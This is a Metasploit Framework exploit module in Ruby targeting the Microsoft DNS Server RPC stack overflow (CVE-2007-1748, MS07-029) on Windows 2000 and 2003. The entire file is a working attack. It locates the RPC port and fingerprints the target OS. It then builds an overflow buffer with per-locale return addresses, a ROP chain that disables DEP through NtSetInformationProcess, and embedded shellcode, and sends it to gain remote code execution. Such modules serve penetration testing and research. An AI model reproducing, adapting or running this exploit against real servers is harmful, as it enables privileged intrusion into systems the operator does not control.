## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)', 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered when a long zone name parameter is supplied that contains escaped octal strings. This module is capable of bypassing NX/DEP protection on Windows 2003 SP1/SP2. }, 'Author' => [ 'hdm', # initial module 'Unknown' # 2 unknown contributors (2003 support) ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2007-1748'], ['OSVDB', '34100'], ['MSB', 'MS07-029'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 500, # The payload doesn't matter, but make_nops() uses these too 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ], # WS2HELP.DLL [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ], [ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ], [ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ], # Use the __except_handler3 method (and jmp esp in ATL.dll) [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ], [ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ], # ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll) [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ], [ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ], [ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ], [ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ], [ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ], ], 'DisclosureDate' => 'Apr 12 2007', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(0), OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English']) ], self.class) end def gettarget(os) targets.each do |target| if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/)) return target end end return nil end def exploit # Ask the endpoint mapper to locate the port for us dport = datastore['RPORT'].to_i if ((dport != 0) && (target.name =~ /Automatic/)) print_error("Unable to use automatic targeting when RPORT is given"); return end if (dport == 0) dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp') if (not dport) print_error("Could not determine the RPC port used by the Microsoft DNS Server") return end print_status("Discovered Microsoft DNS Server RPC service on port #{dport}") end mytarget = nil if (target.name =~ /Automatic/) # scheduler service is only available on 2k3 SP0 and 2000 schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp') if (not schedport) print_status("Detected a Windows 2003 SP1-SP2 target...") mytarget = gettarget('2003SP12') else # only available on 2003 SP0 schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp') if (not schedport) print_status("Detected a Windows 2000 SP0-SP4 target...") mytarget = gettarget('2000') else print_status("Detected a Windows 2003 SP0 target...") mytarget = gettarget('2003SP0') end end if (not mytarget) print_error("There is no available target for this locale") return end else mytarget = target end # Connect to the high RPC port connect(true, { 'RPORT' => dport }) print_status("Trying target #{target.name}...") # Bind to the service handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # Create our buffer with our shellcode first txt = Rex::Text.rand_text_alphanumeric(8192) if (target['OS'] =~ /2000/) txt[0, payload.encoded.length] = payload.encoded off = target['Off'] txt[ off ] = [mytarget.ret].pack('V') txt[ off - 4, 2] = "\xeb\x06" txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') elsif (target['OS'] =~ /2003SP0/) txt[0, payload.encoded.length] = payload.encoded off = target['Off'] txt[ off ] = [mytarget['Rets'][0]].pack('V') # __except_handler3 txt[ off - 4, 2] = "\xeb\x16" # addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9) addr = mytarget['Rets'][1] - 4 addr1 = addr / 2 addr2 = addr1 + addr % 2 addr1 = addr1 + (addr2 % 12) addr2 = addr2 / 12 txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B # # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here : # # 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0 # 0x77f443d0 mov eax, [ebp+arg_0] # 0x77f443d3 pop esi # 0x77f443d4 pop edi # 0x77f443d5 leave ; mov esp, ebp # 0x77f443d6 retn ; ret txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V') elsif (mytarget['OS'] =~ /2003SP12/) off = mytarget['Off'] ib = mytarget['IB'] txt[ off ] = [ib + 0x2566].pack('V') # to bypass NX we need to emulate the call to ZwSetInformationProcess # with generic value (to work on SP1-SP2 + patches) off = 445 # first we set esi to 0xed by getting the value on the stack # # 0x76a81da7: # pop esi <- esi = edh # retn txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V') txt[ off + 28, 4] = [0xed].pack('V') # now we set ecx to 0x7ffe0300, eax to 0xed # 0x76a81da4: # pop ecx <- ecx = 0x7ffe0300 # mov eax, esi <- eax == edh # pop esi # retn txt[ off + 32, 4] = [ib + 0x1da4].pack('V') txt[ off + 36, 4] = [0x7ffe0300].pack('V') # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4) # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX # 0x76a8109c: # call dword ptr [ecx] txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx] txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV') # we catch the second exception to go back to our shellcode, now that # NX is disabled off = 1013 txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll) txt[ off + 24, payload.encoded.length ] = payload.encoded end req = '' # Convert the string to escaped octal txt.unpack('C*').each do |c| req << "\\" req << c.to_s(8) end # Build the RPC stub data stubdata = NDR.long(rand(0xffffffff)) + NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.string(req + "\x00") + NDR.long(rand(0xffffffff)) + NDR.string(Rex::Text.rand_text_alpha(1) + "\x00") print_status('Sending exploit...') begin response = dcerpc.call(1, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) end rescue ::Exception => e print_error("Error: #{e}") end handler disconnect end end